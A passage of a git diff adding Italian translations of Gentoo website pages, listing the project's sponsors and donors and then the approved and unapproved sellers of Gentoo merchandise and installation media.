+  <mail link="swift"/>
+</author>
+<author title="Redazione precedente">
+  <mail link="curtis119"/>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Sponsor di Gentoo
+</abstract>
+
+<license/>
+<version>2.10</version>
+<date>2010-08-26</date>
+
+<chapter>
+<title>Sponsor di Gentoo</title>
+<section>
+<body>
+
+<p>
+Il team di Gentoo vorrebbe ringraziare le seguenti compagnie e organizzazioni
+che donano vari servizi ed equipaggiamenti per incentivare lo sviluppo di
+Gentoo. Senza queste organizzazioni, Gentoo non sarebbe dov'è oggi.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<section>
+<title>Università di Stato dell'Oregon: Open Source Lab (OSUOSL)</title>
+<body>
+
+<!-- We want the two images to be adjacent, not stacked, but I can't get the
+     docs to do that! Help welcome. -->
+<fig link="/images/sponsors/osu-logo.png" linkto="http://oregonstate.edu"
+short="Università di Stato dell'Oregon"/>
+<fig link="/images/sponsors/osuosl-logo.png" linkto="http://osuosl.org"
+short="OSU Open Source Lab"/>
+
+<p>
+Situato all'<uri link="http://oregonstate.edu">Università di Stato
+dell'Oregon</uri> nella bellissima Corvallis nell'Oregon, l'<uri
+link="http://osuosl.org">Open Source Lab</uri> è un punto focale di sviluppo,
+hosting e altri servizi assortiti per la comunità Open Source.
+</p>
+
+<p>
+OSU offre diversi servizi al progetto Gentoo. In aggiunta al garantire il mirror
+primario per Gentoo, provvede allo spazio di collocazione per diversi server
+Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.11, Wed Oct 8 12:50:59 2003 UTC  -->
+<section>
+<title>Università dell'Indiana (IU)</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu"
+short="Indiana University"/>
+
+<p>
+L'Università dell'Indiana fu fondata a Bloomington in Indiana nel 1820. Da
+allora è cresciuta fino a otto campus  attraverso tutto l'Indiana, con un totale
+di iscrizioni che raggiunge i 100.000 tra studenti laureati e non. L'UdI offre
+116 facoltà che sono classificate tra le prime 20 della nazione (n.d.t. in
+U.S.A.). Ci sono oltre 460.000 laureati della UdI nel mondo.
+</p>
+
+<p>
+L'Università dell'Indiana fornisce collocazione per i server di infrastruttura
+di Gentoo, così come una risorsa di grosse dimensioni e un mirror del portage.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.4, 2003/04/29 -->
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com"
+short="UltraDNS"/>
+
+<p>
+UltraDNS fornisce soluzioni avanzate, altamente intelligenti, e scalabili
+globalmente su servizi di directory che migliorano significativamente le
+prestazioni e l'affidabilità di applicazioni di scambio informazioni di rete e
+critiche.
+</p>
+
+<p>
+UltraDNS fornisce servizi di DNS hosting al progetto Gentoo, incluse
+funzionalità avanzate come il <uri
+link="http://www.ultradns.com/services/directional_dns.cfm">DNS
+Direzionale</uri> per fornire servizi di bilanciamento di carico su DNS per
+l'insieme rsync.gentoo.org di server rsync, e il <uri
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri> per
+fornire il monitoraggio dei server e capacità di resistenza ai guasti ai server
+dell'infrastruttura interna di Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.21, Wed Oct 20 12:37:03 2004 UTC -->
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com"
+short="Global Netoptex, Inc."/>
+
+<p>
+GNi è uno dei massimi fornitori di servizi gestiti incentrati sul cliente che
+estendono l'infrastruttura dei loro clienti e riducono drammaticamente il TCO
+("Total Cost of Ownership", ovvero costo totale di possesso, ndt) dei loro
+clienti. Forniscono gli esperti, le risorse e le soluzioni per soddisfare e
+perfino superare le esigenze esclusive in sede e fuori sede dei loro clienti.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.49, Wed Jun 18 18:50:39 2008 UTC -->
+<section>
+<title>Bytemark Hosting</title>
+<body>
+
+<fig link="/images/sponsors/bytemark_logo.png"
+linkto="http://www.bytemark.co.uk/r/gentoo-sponsors" short="Bytemark Hosting"/>
+
+<p>
+Bytemark Hosting fornisce a Gentoo Linux server e servizi che guidano la nostra
+rete di mirror globali. Sono uno dei migliori Internet Service Provider (ISP)
+nel Regno Unito e forniscono hosting scalabile, potente ed economico con un
+sacco di extra "geek friendly" come standard. Loro hanno sviluppato Gentoo Linux
+all'interno della propria rete per fornire una soluzione flessibile per problemi
+difficili, come fornire un ambiente di recupero di rete per tutti gli host
+dedicati.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.49, Wed Jun 18 18:50:39 2008 UTC -->
+<section>
+<title>Hyves.net</title>
+<body>
+
+<fig link="/images/sponsors/hyves-logo.png" linkto="http://www.hyves.net/"
+short="Hyves.net" />
+
+<p>
+Hyves fornisce a Gentoo Linux server e hosting per il cluster di Bugzilla.
+Sono una importante social network europea, e utilizzano <uri
+link="http://www.gentoo.org/news/it/gmn/20080424-newsletter.xml#doc_chap3">
+Gentoo su oltre 1800 server</uri>.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v 1.71 2010/08/06 16:59:25 robbat2 Exp -->
+<section>
+<title>Euro-Web/SD-France</title>
+<body>
+<fig link="/images/sponsors/sdfrance-logo.png" linkto="http://www.sd-france.com"
+short="server dedicati gentoo forniti da sd-france.com" />
+
+<p>
+Fondata nel 2003, Euro-WEB/SD-France fornisce soluzioni di outsourcing
+avanzate; fornisce in leasing ed ospita server dedicati; sviluppa e
+personalizza servizi per le piccole e medie imprese fino alle grandi aziende.
+Fornendo sia i prezzi migliori che un supporto clienti notevole,
+Euro-Web/SD-France ha più di 5000 clienti e 850 server gestiti.
+Euro-Web/SD-France supporta il progetto Gentoo fornendo un certo numero di
+potenti server dedicati associati ad una robusta connettività IPV6.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.57, Tue Mar 10 23:37:34 2009 UTC -->
+<section>
+<title>SevenL Networks</title>
+<body>
+
+<fig link="/images/sponsors/sevenl_logo.png" linkto="http://www.sevenl.net/"
+short="SevenL.net" />
+<p>
+SevenL Networks Inc. è un leader mondiale nell'<uri
+link="https://www.sevenl.net/managed-hosting">hosting gestito</uri>, <uri
+link="https://www.sevenl.net/dedicated-server">server dedicati</uri>, <uri
+link="https://www.sevenl.net/vps-hosting">hosting VPS</uri> e soluzioni per data
+center. SevenL ha donato con orgoglio dei servizi di server dedicati a Gentoo
+Linux a partire dal 2004. Inoltre, hanno donato una serie di server dedicati a
+CentOS, Linux Mint, Arch Linux e ad un certo numero di altre comunità open
+source che fanno affidamento a questo legame di sponsor per affermarsi.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.83, 2010/08/26 00:37:48 robbat2 Exp -->
+<section>
+<title>Tek Alchemy</title>
+<body>
+
+<p>
+<uri link="http://tek.net/">Tek Alchemy, Inc.</uri>, situata ad Austin, in
+Texas, fornisce server dedicati, VPS, server gestiti e colocazioni negli Stati
+Uniti. Ospitano diversi Progetti Open Source su server dedicati, incluso
+Gentoo. Vengono incontro alle esigente degli utenti "smanettoni" fornendo loro
+hardware a magazzino o personalizzato, installazioni personalizzate di sistemi
+operativi o installazioni "fai da te". Ofrrono server dedicati con il sistema
+operativo che si vuole, incluso Gentoo, Debian, CentOS, Ubuntu, Fedora e tanti
+altri.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.50, Thu Jul 3 01:44:53 2008 UTC -->
+<section>
+<title>HardStyle GmbH: Edurium, Online Kredit Index, Fern Studiengang</title>
+<body>
+
+<p>
+HardStyle GmbH è un piccolo negozio di sviluppo con diversi interessi. Seguono i
+loro cuori ed il loro credo personale nel lavorare per assicurare continuamente
+la libertà dei Progetti Open Source per tutti gli utenti. Apprezzano molto il
+valore di Gentoo e comprendono la necessità di supportare sia gli sviluppatori
+che l'infrastruttura.
+</p>
+
+<p>
+Trovate i migliori fornitori nell'apprendimento a distanza, in Germania, su <uri
+link="http://www.fern-studiengang.de/">Fern Studiengang</uri>.
+</p>
+
+<fig link="/images/sponsors/edurium-big.gif" linkto="http://www.edurium.de/"
+short="Edurium" />
+
+<p>
+<uri link="http://www.edurium.de/">edurium</uri> - il portale educativo è un
+portale tedesco dedicato all'educazione.
+</p>
+
+<fig link="/images/sponsors/online-kredit-index.jpg"
+linkto="http://www.online-kredit-index.de/" short="Online Kredit Index" />
+
+<p>
+<uri link="http://www.online-kredit-index.de/">Online Kredit Index</uri> è un
+fornitore Tedesco di servizi finanziari.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.64 2009/11/05 23:41:45 robbat2 Exp -->
+<section>
+<title>Hetzner Online AG</title>
+<body>
+<fig link="/images/sponsors/hetzner-logo.jpg" linkto="http://www.hetzner.de/"
+short="Hetzner Online AG" />
+
+<p>
+è una tra le compagnie leader di webhosting e operatori di datacenter in
+Germania. Offre soluzioni di hosting dedicato performanti, colocazioni, spazio
+web, domini, certificati SSL e inserimenti nei motori di ricerca. Insieme a dei
+prezzi imbattibili e ad un supporto eccezionale, Hetzner Online oltrepassa le
+aspettative dei clienti in tutto il mondo. Hetzner Online supporta il progetto
+Gentoo Linux con un potentissimo server dedicato.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.52, Thu Jul 10 18:19:46 2008 UTC -->
+<section>
+<title>WebHosting.UK.com</title>
+<body>
+
+<fig link="/images/sponsors/web-hosting-uk.jpg"
+linkto="http://www.webhosting.uk.com/" short="WebHosting.UK.com" />
+
+<p>
+Fondata nel 2001, WebHosting UK offre Server Linux Dedicati convenienti ed
+economici nel Regno Unito. WebHosting UK, inoltre, fornisce hosting condiviso
+completamente gestito, rivendita Hosting, Server Privati Virtuali e Hosting
+Semi Dedicato con tutte le importanti caratteristiche di supporto tecnico
+24x7x365, uptime garantito del 99,95% incluso nel servizio standard.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.29, Tue Jun 7 08:09:05 2005 UTC -->
+<section>
+<title>Università della Virginia</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+short="University of Virginia Logo"/>
+
+<p>
+L'Università della Virginia ospita alcune Alpha box usate dagli sviluppatori
+Gentoo/Alpha per compilare le nuove release di Gentoo come anche lavoro
+giornaliero tipo i test delle keyword e aggiornamenti di sicurezza.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.33, Fri Jun 10 14:44:58 2005 UTC -->
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+short="HP OpenSource Logo"/>
+
+<p>
+HP è un fornitore globale di soluzioni tecnologiche per gli utenti casalinghi,
+le aziende e le istituzioni. HP ha oltre 200 prodotti che vengono venduti con
+software open source. Dal client al server al data center, HP contribuisce a
+centinaia di progetti open source ogni giorno. Per ulteriori informazioni a
+proposito del coinvolgimento di HP nell'open source, consultare <uri
+link="http://opensource.hp.com/">http://opensource.hp.com/</uri>
+</p>
+
+<p>
+HP fornisce risorse R&amp;D e ha prestato hardware Alpha e IA64 al progetto
+Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Donazioni specifiche</title>
+<section>
+<body>
+
+<p>
+Gentoo vuole ringraziare le aziende ed organizzazioni seguenti le quali hanno
+fatto donazioni specifiche per contribuire allo sviluppo di Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.67 2010/02/02 20:09:35 robbat2 Exp -->
+<section>
+<title>Opengear</title>
+<body>
+<fig link="/images/sponsors/opengear-logo.jpg" linkto="http://www.opengear.com/"
+short="Opengear" />
+
+<p>
+<uri link="http://www.opengear.com/">Opengear</uri> progetta e fabbrica
+soluzioni all'avanguardia riguardanti console server per l'accesso remoto sicuro
+e il controllo di dispositivi di rete, come router, switch, server, firewall,
+gruppi di continuità elettrica, unità di distribuzione di alimentazione e
+dispositivi di monitoraggio ambientale. La missione di Opengear è di proporsi
+come leader nella fornitura e leader del pensiero nelle tecnologie open source
+per la gestione delle infrastrutture e uno sviluppatore innovativo per console
+server e soluzioni di gestione dell'alimentazione all'avanguardia. Opengear ha
+donato alcune console server a Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: 1.18, Sat Mar 13 14:47:01 2004 UTC -->
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com"
+short="NVIDIA"/>
+
+<p>
+La NVIDIA Corporation (Nasdaq: NVDA) è un leader nel mercato nella tecnologia
+dell'elaborazione grafica dedicata a creare prodotti che migliorino l'esperienza
+dei media digitali su piattaforme professionali e non, da desktop e workstation
+a portatili e palmari. I processori grafici e di comunicazione hanno un vasto
+mercato e sono integrati in una vasta varietà di piattaforme di elaborazione,
+inclusi PC domestici, PC per il business, workstation professionali, sistemi
+di creazione di contenuti digitali, sistemi di navigazione militari e console
+per videogiochi.
+</p>
+
+<p>
+La NVIDIA ha fornito al progetto Gentoo numerose macchine di sviluppo AMD e
+schede video per incentivare lo sviluppo di Gentoo sulle piattaforme Athlon XP e
+Athlon64.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.43, Tue Sep 5 12:53:24 2006 UTC -->
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> ha donato il <uri
+link="http://www.amigaforever.com/">CD di Amiga Forever CD</uri> per supportare
+lo sviluppo e la manutenzione del software di emulazione per Amiga in Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.63 2009/09/30 19:20:06 robbat2 Exp -->
+<section>
+<title>OSTC</title>
+<body>
+
+<fig link="/images/sponsors/ostc-banner.jpg" linkto="http://ostc.pl/"
+short="OSTC" />
+
+<p>
+<uri link="http://ostc.pl/">OSTC</uri> è la prima e più grande compagnia di
+commercio di derivati in Polonia. Essi spingono i confini del commercio nel
+mercato elettronico usando Gentoo ed il software Open Source come componente
+integrale.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.24, Sat Nov 13 12:49:04 2004 UTC -->
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/"
+short="Genesi"/>
+
+<p>
+Genesi è uno dei più importanti fornitori di prodotti di elaborazione basati su
+Freescale e IBM PowerPC. I <uri link="http://www.pegasosppc.com">computer
+PegasosPPC MicroATX</uri> di Genesi sono progettati per portare la flessibilità
+e l'efficienza della tecnologia PowerPC ai desktop, ai server economici e
+segmenti pervasivi di mercato a un prezzo concorrenziale. A partire dalla
+release 2004.3, la Open Desktop Workstation è venduta con Gentoo pre-installato.
+</p>
+
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri>  ha fornito molti <uri
+link="http://www.pegasosppc.com/odw.php">Open Desktop Workstation</uri> basati
+su PowerPC a Gentoo. Per informazioni a proposito del coinvolgimento di Genesi
+nella comunità Open Source di Linux, si prega di consultare<uri
+link="http://www.ppczone.org">www.PPCZone.org</uri>
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.29, Tue Jun 7 08:09:05 2005 UTC -->
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+linkto="http://www.datarescue.com" short="DataRescue logo"/>
+
+<p>
+DataRescue è lo sviluppatore dell'IDA Pro Disassembler &amp; Debugger, uno
+strumento essenziale per ricerche di vulnerabilità e analisi di binari ostili.
+Molti dei server pubblici e il server interno di DataRescue usano Gentoo Linux.
+</p>
+
+<p>
+DataRescue ha donato software al team Audit di Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Sponsor precedenti</title>
+<section>
+<body>
+
+<p>
+Gentoo vorrebbe estendere dei ringraziamenti speciali a tutti i nostri sponsor
+precedenti.
+</p>
+
+<p>
+Se la propria organizzazione in passato ha sponsorizzato Gentoo, ed è stata
+accidentalmente omessa dall'elenco seguente, si prega di non esitare a
+contattare il nostro team per l'infrastruttura, in modo da farvi riconoscere. È
+stato fatto un tentativo di individuare tutti gli sponsor passati, ma alcuni di
+loro non hanno risposto alla richiesta, o semplicemente non si era minimamente
+a conoscenza di loro a partire dai primissimi anni del progetto Gentoo.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.35, Wed Jan 4 21:49:00 2006 UTC -->
+<section>
+<title>Dipartimento di Fisica - Università di Trieste</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+short="Department of Physics - University of Trieste"/>
+
+<p>
+Il dipartimento di Fisica dell'Università di Trieste ha fornito servizi di
+infrastruttura al progetto Gentoo e ospita tutte le nostre mailing list da
+diversi anni.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.35, Wed Jan 4 21:49:00 2006 UTC -->
+<section>
+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png"
+linkto="http://www.inversepath.com" short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path Ltd. è un consulente internazionale che offre la progettazione e
+l'implementazione di reti sicure e infrastrutture con particolare esperienza nel
+software open source. Fra i suoi servizi offre supporto commerciale per lo
+sviluppo in ambienti di produzione così come training professionale.
+</p>
+
+<p>
+Inverse Path in passato ha fornito un server VOIP per l'utilizzo da parte degli
+sviluppatori Gentoo.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, v1.13, Tue Dec 9 02:25:17 2003 UTC -->
+<section>
+<title>Pilosoft</title>
+<body>
+
+<fig link="/images/sponsors/pilosoft-logo.gif" linkto="http://www.pilosoft.com/"
+short="Pilosoft"/>
+
+<p>
+Pilosoft fornisce una moltitudine di servizi relativi ad Internet, inclusi
+connettività DSL, hosting web dedicato e condiviso, colocazione di risorse e
+servizi IP personalizzati.
+</p>
+
+<p>
+Piolosoft ha fornito banda e colocazione di risorse al progetto Gentoo Linux.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Southern Nazarene University (SNU)</title>
+
+<body>
+
+<p>
+Fondata nel 1899, L'Università Nazarena Meridionale (Southern Nazarene
+University - SNU) è un'università privata, Cristiana, di arti liberali a
+servizio della Chiesa del Nazareno. Situata in un campus di di 40 acri ad ovest
+della città di Oklahoma, SNU ha fatto nascere e crescere diverse piccole
+facoltà orientate alla formazione di persone al servizio di Dio e del suo
+simile. Più di 25000 alunni lavorano e fanno servizio attraverso gli Stati
+Uniti ed il mondo.
+</p>
+
+<p>
+SNU ha fornito l'uso di un server dedicato e banda dati al progetto Gentoo
+Linux.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, ???? -->
+<section>
+<title>Università della Florida: Open Systems Group</title>
+<body>
+
+<p>
+L'<uri link="http://open-systems.ufl.edu/">Open Systems Group</uri> dell'<uri
+link="http://www.ufl.edu/">Università della Florida</uri> in passato ha
+ospitato un piccolo cluster su cui era in esecuzione il servizio di mirror
+principale rsync1.us.gentoo.org  per tutti i mirror della comunità.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.9, Sun Aug 17 23:26:25 2003 UTC -->
+<!-- added: sponsors.xml, v1.17, Thu Feb 19 14:59:06 2004 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Melior, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/melior-logo.jpg" linkto="http://www.meliorinc.com"
+short="Melior"/>
+<!-- <fig link="/images/sponsors/isecure-logo.jpg"
+linkto="http://www.ddos.com"/> -->
+
+<p>
+Melior, Inc. fornisce affidabili protezioni ai "distributed Denial of Service"
+(dDoS) e l'unica tecnologia industriale di Oscuramento dell'Infrastruttura: il
+"iSecure True Intrusion Prevention System (TIPSTM)
+</p>
+
+<p>
+Melior, Inc. ha fornito il server, la banda dati e la colocazione di risorse
+per un vecchia casella e-mail di uno sviluppatore, nodo principale web, e un
+server rsync dedicato.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.13, Tue Dec 9 02:25:17 2003 UTC -->
+<!-- removed: sponsors.xml, v1.16, Sat Jan 31 13:30:52 2004 UTC -->
+<section>
+<title>Ethernetworks.de</title>
+<body>
+
+<fig link="/images/sponsors/ethernetworks-logo.jpg"
+linkto="http://www.ethernetworks.de" short="Ethernetworks Germania"/>
+
+<p>
+<uri link="http://www.ethernetworks.de">Ethernetworks Germany</uri> è
+specializzata nel networking professionale, soluzioni di sicurezza per Internet
+e anche web hosting condiviso e dedicato. L'integrazione di server nelle reti
+aziendali multipiattaforma è tra i doverosi obbiettivi principali di
+Ethernetworks Deutschland, solo per il fatto che il disegno di rete di
+Crossplatform include Linux, MacOS X e Windows.
+</p>
+
+<p>
+Ethernetworks Germany ha fornito l'uso di un PowerPC G4 insieme ad una sua
+colocazione e relativi spazio di banda dati.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.17, Thu Feb 19 14:59:06 2004 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Lumen Software</title>
+<body>
+
+<fig link="/images/sponsors/lumen.png" linkto="http://www.lumensoftware.com/"
+short="Lumen Software"/>
+
+<p>
+Lumen Software utilizza Gentoo come distribuzione Linux di base in tutti i suoi
+prodotti server pre-configurati. I prodotti EzThin Server di Lumen Softwares
+sono soluzioni server Linux pre-configurate che forniscono una soluzione
+completa per i piccoli uffici fino alle organizzazioni enterprise su larga
+scala. EzThin si distingue per applicazioni pre-installate, (software di
+produttività, grafica, ecc.), desktop virtuali (manutenzione libera e non
+richiede un sistema operativo di base), accesso remoto, gestione centralizzata
+degli utenti e dei loro desktop, aggiornamenti automatici del server ed altro
+ancora. Gli sviluppi di Lumen Softwares si sono focalizzati nella creazione di
+un ambiente che permette alle organizzazioni di avvantaggiarsi dei pieni
+benefici di Linux senza la necessità di una qualsiasi esperienza o
+apprendimento di Linux. Questo obbiettivo è culminato nelle odierne soluzioni
+EzThin Server, con la collaborazione certificata su EzThin Server da parte di
+Dell e Gateway.
+</p>
+
+<p>
+Lumen Software ha fornito fondi nel 2004 per l'ulteriore sviluppo della nostra
+soluzione di gestione di pacchetti, Portage.
+</p>
+
+</body>
+</section>
+<!-- added: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<!-- removed: sponsors.xml, v1.22, Thu Oct 21 17:05:03 2004 UTC -->
+<section>
+<title>Tera-Byte.com Inc</title>
+<body>
+
+<p>
+Tera-Byte.com è il maggior fornitore di spazio web in Canada, ed offre servizi
+che fanno dall'hosting condiviso ai server virtuali alla colocazione e server
+dedicati.
+</p>
+
+<p>
+Tera-Byte.com ha fornito un server rsync dedicato che ha fatto parte della
+rotazione di rsync.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Mirror dei Sorgenti e di rsync</title>
+<section>
+<body>
+
+<p>
+Gentoo si affida pesantemente su una rete globale di mirror di sorgenti e di
+rsync. Senza questi mirror, l'accesso ai nuovi pacchetti, l'aggiornamento del
+Portage tree e le nuove release di Gentoo Linux sarebbero impossibili. Qualche
+mirror è offerto da privati, altri da aziende. Si può consultarne una lista
+completa sulla <uri link="/main/en/mirrors.xml">pagina dei mirror di
+Gentoo</uri> (in inglese, ndt).
+</p>
+
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Sponsor anonimi</title>
+<section>
+<body>
+
+<p>
+Molte altre aziende e organizzazioni offrono servizi e assistenza al progetto
+Gentoo, ma hanno espresso il desiderio di rimanere anonimi. Si ringraziano
+questi sponsor per il loro supporto a Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!--
+        TODO:
+
+        Present:
+        ========
+        Org: VR.org
+        Contact: ...
+        Boxes: loon.g.o, wren.g.o, magpie.g.o, motmot.g.o, cockatoo.g.o, sparrow.g.o
+
+        Org: TopIX
+        Contact: ...
+        Boxes: kea.g.o
+
+        Org: Gossamer
+        Contact: ...
+        Boxes: gannet.g.o, godwit.g.o, grebe.g.o, grouse.g.o
+
+        Past:
+    =====
+        Org: Tavros Technology Services, Inc.
+        Contact: kingtaco
+        Boxes: waxwing.g.o
+
+        Org: 36m
+        Contact: kengland
+        Boxes: heron.g.o, roadrunner.g.o
+
+-->
+
+</mainpage>
diff --git a/xml/htdocs/main/it/stores.xml b/xml/htdocs/main/it/stores.xml
new file mode 100644
index 00000000..1c7b256a
--- /dev/null
+++ b/xml/htdocs/main/it/stores.xml
@@ -0,0 +1,298 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/stores.xml,v 1.4 2010/08/26 15:27:27 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Negozi Gentoo</title>
+
+<author title="Autore">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+
+<author title="Autore">
+  <mail link="dabbott">David Abbott</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questo documento elenca i luoghi dove può essere acquistato il merchandise
+relativo a Gentoo
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2010-07-25</date>
+
+<chapter>
+<title>Informazioni sui rivenditori</title>
+<section>
+<body>
+
+<p>
+Ci sono diverse tipologie di business che forniscono soluzioni basate su
+Gentoo, da un semplice pre-caricamento di Gentoo per un PC desktop, ad un
+complesso ambiente applicativo misto.
+</p>
+
+<p>
+Se non si ha la possibilità di scaricare le immagini dei CD o DVD di Gentoo,
+aventi dimensioni notevoli, è possibile acquistare fisicamente i CD o DVD.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rivenditori approvati</title>
+<section>
+<body>
+
+<p>
+Gli articoli in commercio relativi a Gentoo possono essere acquistati dai
+seguenti rivenditori, che hanno ricevuto la licenza d'uso del Logo di Gentoo o
+dalla <uri link="http://www.gentoo.org/foundation/en/">Fondazione Gentoo
+Inc</uri> (negli Stati Uniti) oppure da <uri
+link="http://www.gentoo-ev.org/">Friends of Gentoo e.V.</uri> nell'Unione
+Europea.
+</p>
+
+<p>
+I rivenditori approvati danno a Gentoo un piccolo contributo prelevato dalle
+vendite della merce relativo a Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Americhe</title>
+<body>
+
+<p>
+<uri link="http://www.cafepress.com/officialgentoo/">Offical Gentoo Cafepress
+Store</uri> ubicato negli Stati Uniti
+</p>
+
+<p>
+</p>
+
+<p>
+<uri
+link="http://www.case-badges.com/gentoo-logo-3d-domed-computer-case-badges-p-212.html">
+Techiant, LLC</uri> per Etichette per Case, ubicato negli Stati Uniti
+</p>
+
+</body>
+</section>
+<section>
+<title>Europa</title>
+<body>
+
+<p>
+<uri link="http://22258.spreadshirt.net/de/DE/Shop">Offical Friends of Gentoo
+e.V Store</uri> ubicato in Germania
+</p>
+
+<p>
+<uri
+link="http://www.linuxpusher.com/distributions/Gentoo-Linux">LinuxPusher</uri>
+ubicato in Danimarca
+</p>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+Se comprate qualcosa da un rivenditore ufficiale e vi piace, ditelo a tutti i
+vostri amici!
+</p>
+
+<p>
+Se riscontrate problemi di qualità negli articoli o con il rivenditore stesso,
+siete pregati di contattare <mail link="trustees@gentoo.org">noi</mail> ed
+ovviamente il rivenditore. Non possiamo accollarci la risoluzione dei singoli
+problemi ma ci teniamo molto alla qualità dei beni aventi il nostro logo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>DVD di Gentoo Linux DVD</title>
+<body>
+
+<p>
+<b>America del Nord:</b>
+</p>
+
+<p>
+<uri link="http://www.jbox.ca/software/linux-distributions/gentoo/">Sezione
+Gentoo di Stormfront</uri>
+</p>
+
+<p>
+<b>Brasile</b>
+</p>
+
+<p>
+<uri link="http://www.distribuicoeslinux.com.br/">Negozio brasiliano di supporti
+multimediali Linux</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rivenditori non approvati</title>
+<section>
+<title>Informazioni</title>
+<body>
+
+<p>
+Se si vuole essere elencati su questa pagina si prega di inviare un'e-mail ai
+<mail link="trustees@gentoo.org">fiduciari</mail>. L'essere elencati su questa
+pagina è incluso nella <uri link="name-logo.xml">licenza</uri>. Gentoo deve
+difendere i propri marchi registrati per fare in modo che non diventino di
+pubblico dominio, e cerca di raggiungere questo obbiettivo in modo amichevole,
+marchio di fabbrica della comunità open source.
+</p>
+
+</body>
+</section>
+<section>
+<title>CD di Gentoo Linux</title>
+<body>
+
+<p>
+<b>America del Nord:</b>
+</p>
+
+<p>
+<uri link="http://www.cheapbytes.com">CheapBytes</uri>
+</p>
+
+<p>
+<uri link="http://edmunds-enterprises.com">Edmunds Enterprises</uri>
+</p>
+
+<p>
+<uri link="http://www.frozentech.com">Frozentech</uri>
+</p>
+
+<p>
